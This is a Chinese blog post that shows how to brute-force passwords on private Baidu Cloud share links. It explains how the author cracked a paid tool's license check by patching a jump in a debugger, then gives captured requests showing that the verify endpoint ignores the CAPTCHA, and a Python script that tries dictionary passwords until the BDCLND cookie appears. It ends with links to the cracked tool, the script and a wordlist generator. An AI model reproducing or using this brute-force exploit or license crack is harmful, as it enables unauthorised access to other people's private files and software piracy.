百度云私密分享密码破解python脚本

事情是这样的,wooyun跳蚤市场上有一款工具卖30WB,去该工具的官网一看只卖20RMB。

但是很不巧的是百度云分享链接被我们找到了,但是没有给密码。

然后就找了个百度云密码的小工具并且破解了密码。

破解过程很简单,这里稍微提一下。

载入OD后运行,查找字符串。

跳到到未注册版本 字样附近

字符串上面进行了一个比较和条件跳转,跳转后地址是未注册的弹窗

破解的话很简单,只需要把判断跳转直接nop掉,直接判断是注册版本即可。

没有破解的话只能跑500个密码,破解以后就随便爆破了。

我就很好奇,密码输入过多百度云是会弹出验证码的,这个工具是如何绕过验证码的呢?

就抓包分析了一下,原理是密码验证的时候会通过一个接口去判断密码的正确与否,并不去理会验证码的对错。

发包:

POST /share/verify?shareid=2411134184&uk=1279847105&t=1447290671171&channel=chunlei&clienttype=0&web=1 HTTP/1.1
Accept: */*
Referer: http://pan.baidu.com/share/verify?shareid=2411134184&uk=1279847105&t=1447290671171&channel=chunlei&clienttype=0&web=1
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pan.baidu.com
Content-Length: 8
Cache-Control: no-cache
Cookie: BAIDUID=7C656DB6FB750E5B8EFA7D0F522D20E6:FG=1; PANWEB=1; Hm_lvt_adf736c22cd6bcc36a1d27e5af30949e=1444112574; Hm_lvt_773fea2ac036979ebb5fcc768d8beb67=1444112574

pwd=26ms

如果密码正确的话,就会直接set-cookie

HTTP/1.1 200 OK
Date: Thu, 12 Nov 2015 01:10:38 GMT
Content-Type: application/json; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
yld: 397079040441508773
X-Powered-By: PHP/5.4.24
Set-Cookie: BDCLND=9oT54bqhvp2AXC06i5UrIsA30BGIl%2Fzjpuex2cSH50c%3D; expires=Sat, 12-Dec-2015 01:10:38 GMT; path=/; domain=pan.baidu.com
Cache-Control: no-cache
Pragma: no-cache
yme: ZIGW/iYrV0kMaDwYTmvhrmlXvvkXVAb3oAhPyyc=
Server: nginx

3e
  

{"errno":0,"err_msg":"","request_id":7314608073451299749}
0

.....aA....V2..................7B}....A.&S..m.......................o../.......O.$..<..U.kB.a%...k.bN.j...D.X-5O\......................W.^../.N......A...................Q../.N......A.....................WVD.y.......[..S................WVD8........[..S................................................................................................s.... s..*i.........c\t4...G.g^..p.1................................@.q.................c\t4...G.g^..p.1.................. .........

如果密码不对,就不会set BDCLND的cookie值

HTTP/1.1 200 OK
Date: Thu, 12 Nov 2015 01:10:38 GMT
Content-Type: application/json; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
yld: 397078910834512319
X-Powered-By: PHP/5.4.24
Cache-Control: no-cache
Pragma: no-cache
yme: ZIGW/iYrV0kMaDwYTmvhrm1XvfsdVAD3oAhPyyc=
Server: nginx

40
  

{"errno":-62,"err_msg":"","request_id":7314607941965255103}
0

.)....M...`.w..c\t4...G.g^..p.1mpc..1.I....
.EK.......................6.`VK..t.i \...................{....I............................L.....aA....V2..................7B}....A.&S..m.......................o../.......O.$..<..U.kB.a%...k.bN.j...D.X-5O\......................W.^../.N......A...................Q../.N......A.....................WVD.y.......[..S................WVD8........[..S................................................................................................s.... s..*i.........c\t4...G.g^..p.1................................@.q.................c\t4...G.g^..p.1.................. .........

知道了原理,就想用python自己写一个玩。

既然是爆破的话,那么就要保证数据包是最精简的。

首先确定哪些数据是必须的,通过burp的Repeater一行一行的删除,看看那些是必须的,最后结果是。

其实这样给我带来了一点麻烦,因为发包的时候 没有cookie,所以返回包的时候会给我set BAIDUID的 cookie。

本来是想直接判断返回包里面有没有set-cookie就可以的,这样以后反而要去看set-cookie里面的内容有没有”BDCLND=“了。

直接上代码:

#!/usr/bin/env python
#coding:utf-8
__author__ = 'mtfly'

import requests
import string
import re
import sys


def main():
	url = "http://pan.baidu.com/share/link?shareid=2411134184&uk=1279847105"
	url = url.replace("link", "verify").replace("init", "verify")
	headers = {
	"Content-Type": "application/x-www-form-urlencoded"
	}
	payload = "26ms"
	f = open('dic.txt', "r")
	for payload in f.readlines():
		payload = payload.strip('\n')
		print payload
		payload = "pwd=" + payload
		res = requests.post(url=url, data=payload, headers=headers)
		a = res.headers["set-cookie"]
		if "BDCLND=" in a:
			print "OK"
			f = open("out.txt", "w+")
			f.write(payload)
			f.close
			exit()
	f.close()

main()

字典本来想在程序里面生成的,但是太慢了。就直接写到txt里面,然后读取了。

这样也方便测试了。

have fun!

百度网盘加密文件破解   链接:http://pan.baidu.com/s/1jG8Pxzg 密码:en0y

破解python脚本+字典   链接:http://pan.baidu.com/s/1kTq62N1 密码:uwow

字典生成器  链接:http://pan.baidu.com/s/1jG4fBb4 密码:0qzi

6 comments on “百度云私密分享密码破解python脚本

Comments are closed.